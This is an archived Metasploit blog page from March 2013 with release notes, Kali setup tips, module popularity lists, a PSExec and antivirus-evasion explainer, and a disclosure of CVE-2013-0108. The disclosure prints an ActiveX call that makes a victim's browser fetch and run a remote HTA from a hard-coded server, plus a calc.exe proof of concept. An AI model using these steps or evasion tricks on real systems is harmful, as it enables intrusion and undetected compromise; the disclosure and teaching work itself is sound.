Skip navigation
All Places > Metasploit > Blog > 2013 > March
2013

Consumer-Grade Hacking

Last month, I talked about community contributor Michael @m-1-k-3 Messner's nifty D-Link authentication bypass, and made the case that having Metasploit modules for consumer-grade access points is, in fact, useful and important.

 

Well, this week's update has a pile of new modules from m-1-k-3, all of which are targeting these kinds of consumer-grade networked devices: We now have a Linksys E1500 / E2500 remote command exec exploit, a Linksys 1500 directory traversal exploit, a directory traversal module for TP-Link's TL-WA701ND access point, a password extractor for the DLink DIR-645, and a directory traversal module for NetGear's weird single-purpose cordless phone device.

 

That's right, we have a Metasploit module for a cordless phone. The era of there being a difference between your "electronic devices" and your "computer devices" is coming to a close. What I said last month about these sorts of devices being in scope for a pen-test still stands -- if they're not in scope today, they really ought to be, at least for key personnel. Criminals don't particularly care about your scope doc.

 

Thanks loads, m-1-k-3, for your work on these!

 

Who shot who in the what now?

This week's update includes a .mailmap file which consolidates the identities of contributors. For example, you can now see easily that the majority of contributors are, of course, not Rapid7 employees. This speaks to the power of the open source model of security software development that we employ here; even if Rapid7 tomorrow decided to pull the plug on this whole Metasploit thing and prohibited us from working on it, Metasploit will live on.

 

Technically, .mailmap helps consolidate "identities" to "humans," so things like 'git shortlog' and 'git blame' / 'git praise' are more meaningful. I use this data all the time to be able to determine who's committing what, and I'm sure third-party sites like Ohloh are doing the same.

 

The information used to populate the .mailmap was collected from git commit messages, so if you have personal info in there that you don't want, then a) be more careful with your own git config files, and b) let me know and I'll excise or anonymize or whatever.

 

Rake DB tests

I've talked about our slouching into the modern era of Ruby development before, and Rapid7 Metasploit Pro developer Luke @KronicDeth Imhoff has been valiantly championing that cause. The latest major change has been bringing the ability to "rake db" directly in Metasploit Framework, as of Pull Request #1592. This allows for all the usual database migrations, rollbacks, and drops that Rails developers are accustomed to having available. It also allows for direct testing of a lot of database-backed functionality, so this also strikes another blow for TDD.

 

Incidentally, if you are the sort to open a pull request on Metasploit, check out Luke's Verification Steps. This kind of initial documentation is massively useful for reviewers, as it really helps to demonstrate why your change is needed, what you think intended functionality is, and gives hints on how to test that your change is actually successful.

 

Msfupdate: Adios SVN

This is your final warning. If you're on an SVN checkout for Metasploit, you want to upgrade now. 'msfupdate' no longer will update over SVN; it will tell you to get your act together and exit out with code 0x11. This has been warned about since November of 2012. The SVN server is still up, so you can use regular svn commnads to get a checkout going (or edit your own version of msfupdate), but really, honest and true, you need to either (a) get a binary install for Metasploit, which comes with both Framework and Metasploit Community / Pro, or (b) get a local git clone of the source and track along with that. Both mechanisms are described at http://r-7.co/MSF-UP.

 

New Modules

We've got fourteen new modules this week -- half exploits, half aux/post. Enjoy!

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes..

Version bump to Metasploit 4.5.3

This week, we've incremented the Metasploit version number by one trivial point to 4.5.3 -- this was mainly done to ensure that new users get the fixes for the four most recent vulnerabilities that were fixed by Rails 3.2.13. While we're not aware of any exploits out there that are targeting Metasploit in particular (and these vulns do require to be targeting specific applications), you'd be advised to update at your earliest convenience.

 

In addition, 4.5.3 is once again a code-signed executable for Windows -- Linux users can still verify their bins by checking the appropriate SHA1 and PGP signature. Since we go to all the trouble of producing these signatures, you should probably check them. Not getting backdoored is a Good Thing.

 

Kali Linux

This is the first update released after our integration with the new and improved Kali Linux, I'm super excited about supporting Kali for real as a Metasploit platform with all the QA love that we give Ubuntu, Red Hat, and Windows. More interestingly, from  a technical standpoint, Metasploit Framework, Community & Pro have all been built as as Debian packages, so if this whole Kali thing works out, I'm cautiously optimistic about packaging in a similar way for similar platforms -- Ubuntu, Mint, Debian, and all the rest. That will be a glorious day indeed.

 

Hopefully, you had a chance to drop in on the March 21 webcast featuring HD Moore, Mati Aharoni, and Devon Kearns. If you didn't, no problem -- you can access the on-demand version here.

 

YARD

Finally, if you've been tracking along the commit history, you will have noticed that we've been embracing YARD as a standard for decorating classes and methods in the core Metasploit library. So, if you'd like to get some up-to-date documentation on an API call that you find a little mysterious, you can try typing yard doc in the top level of your Metasploit Framework source checkout then click around doc/index.html with your favorite browser.

 

If you don't find the documentation that you're looking for at that point, then hey, feel free to write some! We will totally take a pull request of insightful documentation for our many APIs, and YARD doc syntax is pretty easy to get a handle on. Check the YARD Guides to get started.

 

New Modules

Here are this week's new modules. It's an even dozen for your pen-testing pleasure.

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

metasploitable ss.JPG

This week our Whiteboard Wednesday topic is on Metasploitable, our intentionally vulnerable virtual machine. Christian Kirsch from the Metasploit team, would like to talk about the finer points of how to download, install, and use this free tool as a test lab to get familiar with Metasploit. A lot of our customers are hesitant to use Metasploit on production machines, so this tool gives you the ability to sharpen your exploit knives with no risk.

 

Watch the video here!

 

Let us know what you think, any other topics you'd like us to cover, or feel free to leave us a comment below.

 

See you next Wednesday!

-Patrick Hellen

Today, our friends at Offensive Security announced Kali Linux, which is based on the philosophy of an offensive approach to security. While defensive solutions are important to protect your network, it is critical to step into the shoes of an attacker to see if they’re working. Kali Linux is a security auditing toolkit that enables you just that: test the security of your network defenses before others do.


Kali is a free, open source, and robust Linux Distribution that makes security auditing ready for the enterprise. It is the natural evolution of the BackTrack platform, which has been hugely popular among Metasploit users. This is why the Metasploit team here at Rapid7 was more than happy to join the Kali Linux project as an official contributor. We re-engineered Metasploit to fully integrate into the Kali Linux repositories and resolved some of the issues that may have caused some of you headaches with updates, databases, and general stability on BackTrack in the past.

 

To hear more about this topic, tune in to our free webcast with HD Moore (Metasploit Chief Architect), Mati Aharoni, and Devon Kearns (both from the BackTrack & Kali Linux team) on March 21 at 3pm Eastern.

 

If you can't wait that long, here's my short video to get an overview of Kali Linux:


wbw-video-kali.jpg.png

 

If you'd like to start using Metasploit on Kali Linux, you may benefit from these tips:


  1. Download the Kali Linux Virtual Machine from www.kali.org, or install your own using instructions at http://docs.kali.org/general-use/install-vmware-tools-kali-guest
  2. Kali Linux doesn't start any application services by default to shorten the boot up time and reduce the attack surface to a minimum.
    1. To start Metasploit's services immediately, open a terminal window and enter service postgresql start && service metasploit start
    2. To start Metasploit's services on each boot time (but not immediately), open a terminal window and update-rc.d postgresql enable && update-rc.d metasploit enable
      metasploit-kali-service-start.jpg

  3. To start Metasploit Framework, open the Applications menu > Kali Linux > Top 10 Security Tools -> Metasploit Framework
    metasploit-kali-metasploit-framework.jpg
  4. To start the web ui for Metasploit Community or Metasploit Pro, you have two options:
    1. Type the new go_pro on the Metasploit Framework console (only available in Kali Linux for now), which starts all services and then launches the browser with http://localhost:3790, the URL of the Metasploit Community / Pro web-based user interface
      metasploit-kali-go_pro.jpg

    2. Open the menu Applications -> Kali Linux -> Exploitation Tools -> Metasploit -> metasploit community / pro

 

In case you have more questions, we have prepared an FAQ about Kali Linux and Metasploit.

 

I hope you'll enjoy using Metasploit Framework, Metasploit Community, and Metasploit Pro on Kali Linux. If you'd like to learn more about Kali Linux and Metasploit, attend our free webcast with HD Moore (Metasploit Chief Architect), Mati Aharoni, and Devon Kearns (both from the BackTrack & Kali Linux team) on March 21 at 3pm Eastern.

todb

America's Next Top Module

Posted by todb Employee Mar 12, 2013

If you follow this blog at all, you're familiar with Christian Kirsch's round up of the most searched modules in our exploit database. These stats are gathered roughly monthly from the Metasploit exploit database backend, and tend to have a pretty strong recency bias -- modules that recently got a lot of press or Twitter buzz tend to shoot up to the top of the list.

 

Of course, that's the point of "Exploit Trends" exercise -- we and our readers want to know what's recently interesting. But we sometimes ask ourselves, what are the "most popular" exploits that we ship with Metasploit? How could we tell?

 

Tracking module usage is one way to determine popularity. We've kicked around the idea of instrumenting things like on_session_open() to gather stats and periodically let us know what modules are effective, but of course this kind of tracking would need to be carefully controlled to ensure that we're not leaking vulnerability data on your behalf, it would necessarily need to be opt-in, and that kind of usage tracking tends to make security people more than a little squirmy, so we don't do that.

 

Indirect Measurement

 

So, I had an idea a while back on how to get at a popularity index without spying on our end users. Instead of measuring runtime use, what if we just measured the number of times a module got fixed, enhanced, or otherwise changed?

 

Git makes this kind of thing pretty straightforward to measure, since I can pull a commit history of all our modules, dating back to 2005, and each time someone touches a module, that event is recorded in that module's commit history. So, if you just count the number of commits across all modules, and sort them from high to low, you should get a pretty decent picture of what Metasploit modules are at least attracting the attention of code maintainers, and maybe that's a good proxy for user popularity.

 

Well, that turned out to be a pretty insightful guess. I showed the initial output to one of our full-time penetration testers here, Leon @sho_luv Johnson, who responded with, "Wow, this is my checklist, in order, for every engagement I'm on." It's spooky how accurate this top ten list is in terms of what real pentesters do when they're first on-site and have Metasploit loaded up:

 

modules/exploits/windows/smb/psexec.rb                       61
modules/exploits/windows/smb/ms08_067_netapi.rb              56
modules/exploits/multi/http/tomcat_mgr_deploy.rb             52
modules/exploits/multi/http/jboss_maindeployer.rb            42
modules/exploits/multi/browser/java_signed_applet.rb         39
modules/exploits/windows/browser/ms03_020_ie_objecttype.rb   37
modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb        36
modules/exploits/unix/webapp/php_include.rb                  34
modules/exploits/windows/browser/ie_createobject.rb          34
modules/exploits/windows/smb/ms05_039_pnp.rb                 33

 

I'll get to more detailed analysis of these results in a later blog post, I promise. For now, I want to talk about the advantages for measuring commits, rather than actual usage, which is applicable to not only Metasploit, but really any software project with easily discernible atoms of content.

 

1) This measurement is totally non-invasive. By going over a module's commit history, I can certainly tell who made changes to a module, and for very popular modules like psexec and MS08-067, there's a fair number of non-Rapid7 committers listed, but everyone on that list went way out of their way to create a GitHub (or old SVN) account, make a change, and land it. It doesn't tell me anything about where they used it or what they were using it for.

 

2) It doesn't just measure buggy modules. Commits not only represent bug fixes, but also measure feature addons. If a module starts off being pretty useful, it's not long until someone says, "Hey, it'd be great if this module cleaned up after itself," or "here's another target for this exploit," or "This module can report something new in the database about the target," other any other feature enhancement. Therefore, useful modules tend to get more useful over time, especially as people use them in different environments, contexts, and situations.

 

3) It reverses recency bias. Recent, hot modules still need to get a fair amount of real use in the field in order to start hitting a top 10 or top 50 list. For example, the recent java_jre17_exec exploit, which is really useful right now, only has 13 commits on it. That puts it in the top 40% of all modules by commit counts, but it's a long way off from the top 10% (modules with 20 or more commits). Therefore, older, more established exploits will tend to dominate the top of the list.

 

module_commits.rb

 

Using our new module_commits.rb script in particular module trees allows for ranking different sets of modules to against each other. For example, if I wanted to know about just the browser exploits, I could just run:

 

$ ./tools/module_commits.rb modules/exploits/windows/browser/ | tee browser-exploits.txt

 

Reading browser-exploits.txt to gives me the top ten Windows-based browser exploits:

 

modules/exploits/windows/browser/ms03_020_ie_objecttype.rb    37
modules/exploits/windows/browser/ie_createobject.rb           34
modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb 29
modules/exploits/windows/browser/ms06_067_keyframe.rb         29
modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb      28
modules/exploits/windows/browser/aim_goaway.rb                27
modules/exploits/windows/browser/winamp_playlist_unc.rb       26
modules/exploits/windows/browser/winzip_fileview.rb           23
modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb  23
modules/exploits/windows/browser/macrovision_unsafe.rb        23

 

So, with that feature in mind, here are some more top ten lists. People love top ten lists.

 

Top ten auxiliary modules

 

These are modules that don't open a session, but are nonetheless useful for information gathering, server spoofing, cracking passwords, and pretty much any non-memory corruption / command injection activity.

 

modules/auxiliary/server/browser_autopwn.rb                  78
modules/auxiliary/scanner/smb/smb_login.rb                   71
modules/auxiliary/scanner/ssh/ssh_login.rb                   51
modules/auxiliary/scanner/http/tomcat_mgr_login.rb           50
modules/auxiliary/server/capture/smb.rb                      47
modules/auxiliary/server/capture/http.rb                     45
modules/auxiliary/scanner/telnet/telnet_login.rb             44
modules/auxiliary/scanner/http/http_login.rb                 39
modules/auxiliary/scanner/mssql/mssql_login.rb               38
modules/auxiliary/spoof/dns/bailiwicked_host.rb              36

 

Top ten post modules

 

Post modules are what a pentester will run once a machine is compromised. These are tasks like looting stored credentials, escalating local privilege, launching a keystroke logger, activities like that. Now that we can tell what modules are getting attention, we can say confidently that what people are most interested is extending access through the domain and other machines through stolen credentials.

 

modules/post/windows/gather/credentials/gpp.rb               55
modules/post/windows/gather/enum_chrome.rb                   26
modules/post/multi/gather/firefox_creds.rb                   24
modules/post/multi/gather/pidgin_cred.rb                     24
modules/post/windows/escalate/service_permissions.rb         23
modules/post/osx/gather/enum_osx.rb                          22
modules/post/windows/gather/credentials/filezilla_server.rb  22
modules/post/multi/gather/ssh_creds.rb                       21
modules/post/windows/gather/smart_hashdump.rb                21
modules/post/windows/gather/cachedump.rb                     21

 

Top ten exploit payloads

 

Payloads are the chunks of code that gets run immediately after the vulnerability is exploited. Most of the time, payloads establish a remote a shell into the target over a command prompt, a Meterpreter session, a VNC session, something along those lines.

 

modules/payloads/stages/windows/shell.rb                     35
modules/payloads/stages/windows/meterpreter.rb               34
modules/payloads/stagers/windows/reverse_tcp.rb              34
modules/payloads/stages/windows/vncinject.rb                 25
modules/payloads/singles/php/reverse_php.rb                  25
modules/payloads/stages/windows/upexec.rb                    24
modules/payloads/stagers/windows/bind_tcp.rb                 23
modules/payloads/stages/windows/dllinject.rb                 21
modules/payloads/singles/linux/x86/shell_reverse_tcp.rb      21
modules/payloads/singles/windows/adduser.rb                  20

 

Top ten Rex protocols

 

Oh, you don't need to limit to just content. We're constantly poking at Rex, the Ruby Exploitation library, so here's a top ten survey of protocols that we've touched a lot over Metasploit's life:

 

lib/rex/proto/http/client.rb                                 109
lib/rex/proto/smb/client.rb                                  84
lib/rex/proto/http/packet.rb                                 36
lib/rex/proto/http/server.rb                                 35
lib/rex/proto/dcerpc/client.rb                               29
lib/rex/proto/smb/constants.rb                               27
lib/rex/proto/smb/simpleclient.rb                            27
lib/rex/proto/smb/utils.rb                                   25
lib/rex/proto/http/request.rb                                24
lib/rex/proto/dhcp/server.rb                                 23

 

Yep, it looks like HTTP and SMB is where it's at in network-based exploitation. That's not surprising, but it's always nice to get some programmatic confirmation of where my intuition is.

 

TODO

The script I've been using isn't very user friendly or configurable, but it gets me the data in a more-or-less useful format. I'd like to be able to break ties a little better using a few different criteria, or output in a format that's actually machine-parsable (XML or JSON or something), or limit to a particular date range... my wish list goes on and on. I have a pull request open with it included as is right now, but even us core Metasploit developers have to wait in line to get our pull requests landed. (: If you have your own ideas, feel free to jump in on hacking Metasploit yourself and drop a pull request on us when you have something presentable.

Today, we present to you a new vulnerability, CVE-2013-0108, discovered in Honeywell Enterprise Buildings Integrator (EBI) R310 - R410.2. This platform is used to integrate different systems and devices such as heating, ventilation, and air conditioning (HVAC) controls; security; access control; life safety; lighting; energy management; and facilities management into a common platform. Using open architecture and industry standards, EBI integrates existing buildings systems, providing seamless digital information and control across all building operational management systems." Following our standard disclosure policy, we notified both Honeywell and CERT/CC, who in turn coordinated with ICS-CERT. Quoting from the ICS-CERT advisory ICSA-13-053-02:

 

 

 

Exploitation of this vulnerability could allow partial loss of availability, integrity, and confidentiality and could be exploited remotely. This vulnerability could affect systems deployed in the government facilities and commercial facilities sectors.

 

 

The vulnerability could allow remote attackers to execute arbitrary code via a specially crafted HTML document. The attacker would require an end-user or operator to voluntarily interact with the attack mechanism for it to be successful. For example, the attacker could send an email message to the end-user, containing a link to a Web site with the specially crafted HTML document. CVE-2013-0108 has been assigned to this vulnerability with a CVSS v2 base score of 6.8.

 

 

Now, before you read any further, if you own or operate one of these building control systems, you really should take a few moments and spend quality time with your Honeywell sales and service representative to ask about getting the latest Station Security Update Package. When we first reported this to Honeywell, their responsiveness and concern was both prompt and thorough, so it's clear to all of us at Rapid7 that Honeywell definitely has their customers' security interests at heart. From a disclosure standpoint, Honeywell's response was A++++, would exploit again. (:

 

Vulnerability Summary

 

The specific flaw exists within the HSC Remote Deploy ActiveX (HSCRemoteDeploy.dll), with the class ID "0D080D7D-28D2-4F86-BFA1-D582E5CE4867". This control is used to support installation of Honeywell HMIWeb Browser on workstation clients. The LaunchInstaller() method, provided by the vulnerable control, can be abused to run an arbitrary HTA application through mshta.exe.

 

Disclosure Timeline

 

DateDescription
2013-01-08Initial discovery by Juan Vazquez, Metasploit Researcher
2013-01-08Metasploit module written
2013-01-10Initial disclosure to the vendor, Honeywell
2013-01-10Initial response from the vendor
2013-01-25Disclosure to CERT/CC
2013-01-30Disclosure coordination with vendor, CERT/CC, and ISC-CERT
2013-02-04Vendor advisory bulletin and patch drafted
2013-02-22Vendor advisory bulletin and patch release
2013-02-22ISC-CERT Advisory published
2013-03-11Public disclosure and Metasploit modules published
2013-03-12Kill bits released on Microsoft Patch Tuesday (proposed)
2013-03-14ISC-CERT Advisory updated

Technical Analysis

 

A remote page can make the Internet Explorer load the vulnerable ActiveX control by using its class ID:

 

<object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867">













 

The vulnerable ActiveX control will be loaded by Internet Explorer:

 

0:006> g
ModLoad: 020b0000 020e7000   C:\WINDOWS\system32\HSCRemoteDeploy.dll
eax=00000003 ebx=00000000 ecx=020de070 edx=f20b0000 esi=00255ba8 edi=00000000
eip=7c90e4f4 esp=00137dc0 ebp=00137eb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
7c90e4f4 c3              ret
0:000> lmv m HSCRemoteDeploy
start    end        module name
020b0000 020e7000   HSCRemoteDeploy   (deferred)             
    Image path: C:\WINDOWS\system32\HSCRemoteDeploy.dll
    Image name: HSCRemoteDeploy.dll
    Timestamp:        Wed Sep 29 13:51:06 2010 (4CA3282A)
    CheckSum:         0003DCC8
    ImageSize:        00037000
    File version:     5.7.165.119
    Product version:  5.7.165.119
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Honeywell Limited
    ProductName:      HMIWeb
    FileVersion:      5, 7, 165, 119
    PrivateBuild:     Official build
    FileDescription:  Unicode Release Build
    LegalCopyright:   Copyright 2008 Honeywell International Sàrl
    LegalTrademarks:  Copyright 2008 Honeywell International Sàrl

 

Once loaded, the LaunchInstaller() method can be used to execute an arbitrary remote HTA application by specifying an arbitrary URI as "bstrParameter" parameter. The prototype for this method is described here:

 

Sub LaunchInstaller (
     ByVal bstrServer  As String ,
     ByVal bstrRedirect  As String ,
     ByVal bUpgrade  As Boolean
)

 

It can be abused in code such as:

 

RemoteInstaller.LaunchInstaller("http://192.168.1.128:8080", "", false);













 

The above LaunchInstaller() call will translate to the next execution of ShellExecuteExW, with a pointer to the SHELLEXECUTEINFO structure stored in 0013e200 as argument:

 

0:000> bp HSCRemoteDeploy+866A
0:000> g
Breakpoint 0 hit
eax=020d2644 ebx=0210246c ecx=021023e8 edx=0013e200 esi=00000000 edi=0013e26c
eip=020b866a esp=0013e1ec ebp=0013e254 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
HSCRemoteDeploy!DllUnregisterServer+0x2e4a:
020b866a ff10            call    dword ptr [eax]      ds:0023:020d2644=d68d0b02
0:000> t
eax=020d2644 ebx=0210246c ecx=021023e8 edx=0013e200 esi=00000000 edi=0013e26c
eip=020b8dd6 esp=0013e1e8 ebp=0013e254 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
HSCRemoteDeploy!DllUnregisterServer+0x35b6:
020b8dd6 ff253c120d02    jmp     dword ptr [HSCRemoteDeploy!DllUnregisterServer+0x1ba1c 
(020d123c)] ds:0023:020d123c={SHELL32!ShellExecuteExW (7ca02f03)}
0:000> dd esp L2
0013e1e8  020b866c 0013e200

 

The SHELLEXECUTEINFO used as parameter contains the next values:

 

FieldValue
lpVerbopen
lpFileC:\WINDOWS\system32\mshta.exe
lpParametershttp://192.168.1.128:8080/System/Displays/RemoteInstallWelcome.hta

 

 

  
0:000> du poi(0013e200+C)
021040ac  "open"
0:000> du poi(0013e200+10)
0210246c  "C:\WINDOWS\system32\mshta.exe"
0:000> du poi(0013e200+14)02104014  "http : //192.168.1.128:8080/System"
02104054  "Displays/RemoteInstallWelcome.ht"
02104094  "a"

 

The location of the HTA application to be opened via mshta.exe can be influenced by the "bstrServer" parameter, which leads to remote HTA code execution.

 

Exploitation

 

Since arbitrary HTA application execution is possible, according to the MSDN article Introduction to HTML Applications (HTAs), arbitrary code execution will be possible:

As fully trusted applications, HTAs carry out actions that Internet Explorer would never permit in a webpage. The result is an application that runs seamlessly, without interruption.

 

In HTAs, the restrictions against allowing script to manipulate the client machine are lifted. For example, all command codes are supported without scripting limitations (see command id). And HTAs have read/write access to the files and system registry on the client machine.

 

The trusted status of HTAs also extends to all operations subject to security zone options. In short, zone security is off. Consequently, HTAs run embedded Microsoft ActiveX controls and Java applets irrespective of the zone security setting on the client machine. No warning displays before such objects are run within an HTA. HTAs run outside of the Internet Explorer process, and therefore are not subject to the security restrictions imposed by Protected Mode when run on Windows Vista.

As a simple proof of concept, the next HTA application can be used to launch calc.exe:

 

<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\\\System32\\\\calc.exe');
window.close();
</script>













 

In order to achieve remote code execution a Metasploit module has been developed. The module has been tested successfully on Windows XP and Windows 7 operating systems with Internet Explorer 6 to Internet Explorer 9:



Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

Multiple modules inside the Metasploit Framework bear the title PSExec, which may be confusing to some users.

 

first.png

 

When someone simply refers to “the PSExec module”, they typically mean exploit/windows/smb/psexec, the original PSExec module. Other modules are more recent additions, and make use of the PSExec technique in other ways. Here’s a quick overview of what these modules are for:

 

Metasploit Module

Purpose

Comment

exploit/windows/smb/psexec

Evading anti-virus detection

Service EXE is now getting caught by most AV vendors. Use custom templates or MOF upload method to circumvent AV detection.

exploit/windows/local/current_user_psexec

Local exploit for local administrator machine with goal to obtain session on domain controller

Great starting point to take over an entire network. Attack is less likely to get noticed because it uses legitimate access methods.

auxiliary/admin/smb/psexec_command

Run arbitrary commands on the target without uploading payloads.

Unlikely to be detected by AV but limited because you can only send one command, not obtain a session.

auxiliary/scanner/smb/psexec_loggedin_users

Get list of currently logged in users

Run this module against all targets to get tons of information on your targets.

 

 

We’ll now look at each one in detail below. First, let’s talk about what PSExec is, and where the idea comes from.

The PSExec Utility

 

The name PSExec comes from a program by the same name. Mark Russinovich wrote this utility as part of his sysInternals suite in the late 90s to help Windows Administrators perform important tasks, for example to execute commands or run executables on remote systems.

 

The PSExec utility requires a few things on the remote system: the Server Message Block (SMB) service must be available and reachable (e.g. not blocked by firewall);  File and Print Sharing must be enabled; and Simple File Sharing must be disabled.

 

The Admin$ share must be available and accessible. It is a hidden SMB share that maps to the Windows directory is intended for software deployments. The credentials supplied to the PSExec utility must have permissions to access the Admin$ share.

 

PSExec has a Windows Service image inside of its executable. It takes this service and deploys it to the Admin$ share on the remote machine. It then uses the DCE/RPC interface over SMB to access the Windows Service Control Manager API. It turns on the PSExec service on the remote machine. The PSExec service then creates a named pipe that can be used to send commands to the system.

The PSExec Exploit (exploit/windows/smb/psexec)

 

The PSExec exploit modules in Metasploit runs on the same basic principle as the PSExec utility. It can behave in several ways, many of them unknown to most users.

 

The Service EXE

 

In this method, the exploit generates and embeds a payload into an executable, which is a Service image uploaded by the PSExec utility – similar to the PSExec service. The exploit then uploads the service executable to the Admin$ share using the supplied credentials, connects to the DCE/RPC interface, and calls into the Service Control Manager before telling SCM to start the service that we deployed to Admin$ earlier. When the service is started, it starts a new rundll32.exe process, allocates executable memory inside that process and copies the shellcode into it. It then calls the starting address of that memory location as if it were a function pointer, executing the stored shellcode.

 

The service EXE is generated using an executable template with a placeholder where the shellcode is inserted. The default executable templates in Metasploit Framework are flagged by major AV solutions because most anti-virus vendors have signatures for detecting these templates. No matter what payload you stick in this executable template, it will get flagged by AV.

 

AV Evasion

The PSExec exploit has several advanced options. The first is the options to supply alternative executable templates.

second.png

 

There are two separate options: One is to use set EXE::Path, which will tell Metasploit to look in a different directory for the executable templates. The other is set EXE::Template, which is the name of the executable template file to use. If you create an executable template and store it in a different directory, you will need to set both of these options. Writing a custom executable template is a good way to avoid AV detection. If you write your own EXE template for the PSExec exploit, it must be a Windows service image.

third.png                                                  

 

In addition to writing a custom executable template, you can write an entire executable on your own. This means that a Metasploit payload will not actually get inserted. You will code the entire behavior into the EXE itself. The psexec exploit module will then upload the EXE and try to start it via SCM.

 

Tip: If you would like to save time evading anti-virus, you can use the dynamic executable option in Metasploit Pro, which generates random executable files each time that are much less likely to be detected by anti-virus. (Watch my webcast Evading Anti-virus Detection with Metasploit for more info.)

 

The Management Object File (MOF) upload method

fourth.png

MOF files are a part of the Windows Management Instrumentation (WMI). They are Manage Object Files. They contain WMI information and instructions. MOF files must be compiled to work properly, however there is a way around that on Windows XP.  In Windows XP, if you drop an uncompiled MOF file in the system32\wbem\mof\ directory, Windows XP will compile the MOF for you and run it.  The PSExec exploit has a method for using this to our advantage. If you set MOF_UPLOAD_METHOD true, it will do a few things differently. Our payload EXE will be generated as a normal instead of a service EXE. It will then upload it via Admin$ as expected before generating a MOF file that will execute the EXE we uploaded. It will use Admin$ to deploy the MOF file to the MOF directory. Windows XP will then compile and run the MOF, causing our payload EXE to be executed.

 

The MOF method can be combined with the custom EXE or custom template methods described above to try and evade AV as well. The MOF Method currently only works on Windows XP as later versions require the MOF to already be compiled in order for them to run.

 

The PSExec Current User Local Exploit(exploit/windows/local/current_user_psexec)

 

The Current User PSExec module is a local exploit. This means it is an exploit run on an already established session. Let’s set up a scenario to explain how this works. In our scenario you do the following:

 

  1. Set up a browser exploit at some address
  2. Trick a local system administrator to visiting the site
  3. Get a reverse Meterpreter shell, inside the administrator’s browser process
  4. Run netstat to see if the administrator is connected to one of the Domain controllers

 

So now Meterpreter is running on a system administrator’s box under her user context. While there may not be something you’re interested in on her workstation, she has permission to access a domain controller (DC), which you would like to shell. You don’t have her credentials, and you cannot talk directly to the DC from your box.

 

This is where the current_user_psexec module comes in. This local exploit works the same way as the psexec exploit. However, it runs from the victim machine. You also do not supply any credentials. This exploit takes the authentication token from the user context, and passes that alone. This means you can get a shell on any box the user can connect to from that machine and has permissions on, without actually knowing what their credentials are.

 

This is an invaluable technique to have in your toolbox.  From that first machine you can compromise numerous other machines. You can do this without having set up any proxy or VPN pivots, and you will have done it using legitimate means of access.

 

The PSExec Command Execution Module (auxiliary/admin/smb/psexec_command)

 

Submitted by community contributor Royce @R3dy__ Davis, this module expands upon the usefulness of the PSExec behavior. It utilizes the same basic technique but does not upload any binaries. Instead it issues a single Windows command to the system. This command is then run by the remote system. This allows arbitrary commands to be executed on the remote system without sending any payloads that could be detected by AV. While it does not get you a shell, it will allow you to perform specific one off actions on the system that you may need.

 

The PSExec Logged In Users Module (auxiliary/scanner/smb/psexec_loggedin_users)

 

Also brought to you by Royce @R3dy__ Davis, this module is a specialized version of the command execution one. It uses the same technique to specifically query the registry on the remote machine and get a list of all currently logged on users. It is a scanner module which means it can also run against numerous hosts simultaneously, quickly getting the information from all the targeted hosts.

 

Summary

 

What we’ve seen here is that the PSExec technique is actually a relatively simple mechanism with immense benefit. We should all remember to thank Mark Russinovich for this wonderful gift he has given us. As time goes by, people will find many more uses for this same technique, and there is room for improvement on how these modules work and interact. The PSExec exploits are two of the most useful, and most reliable, techniques for getting shells in the entire Metasploit Framework.

 

[ETA] If you're looking for more information on PSExec, there's more information in this Whiteboard Wednesday video -- How PSExec and Remote Execution Work:

wbwpsexec.jpg

abusing winRM with MetasploitThis week's Whiteboard Wednesday is by our esteemed Metasploit expert David Maloney, on a subject he covered in this blog post: Abusing Windows Remote Management (WinRM) with Metasploit.

 

This WBW dives in to WinRM. A service designed to allow System Administrators to issue commands to remote machines. In this video, David discusses how Metasploit can identify these services and attack them gaining unfettered access to machines, and doing so without being detected by Antivirus Solutions.

 

Watch the video here!

 

Let us know what you think in the comments below, and we'll see you back here next week at the same WBW Time.

 

-P.

Screen shot 2013-03-01 at 10.33.14 AM.pngBrowser vulnerabilities have always been serious threats in today's security trends.  It's almost becoming too common to see people dropping browser 0days to beef up botnets, or deploying them for "sophisticated" APT-level attacks, etc.  Although browser 0days surface more frequently than ever, some of the techniques don't seem to change much.  The most common trick you'll see is a heap spray -- this is a way to setup memory by controlling heap allocations, and then place arbitrary code in a predictable place.  That way when you control the crash, you can just trick the program to go there and gain code execution.  However, this technique has gotten more difficult over the years, so a typical heap spray you see in IE6 and 7 probably won't work against IE8.  And a spray in IE 8 probably won't work in IE9 and 10.

 

Recently, Peter Van Eeckhoutte introduced a new heap spraying technique that works against multiple browsers such as Internet Explorer 8, 9, 10, as well as the latest Firefox.  I am pretty much convinced this technique may change the way we write browse exploits for Metasploit, so I decided to port Peter's example to Metasploit as a new function (with his assistance), and show you fellas an example on how to use it.

 

Environment

 

In this demonstration, I'll just use Internet Explorer 10 on Windows 8.  Please make sure to enable script debugging in IE during development.  The debugger we'll be using is WinDBG, which can be downloaded here:

http://msdn.microsoft.com/en-us/windows/hardware/gg463009.aspx

 

Code Example

 

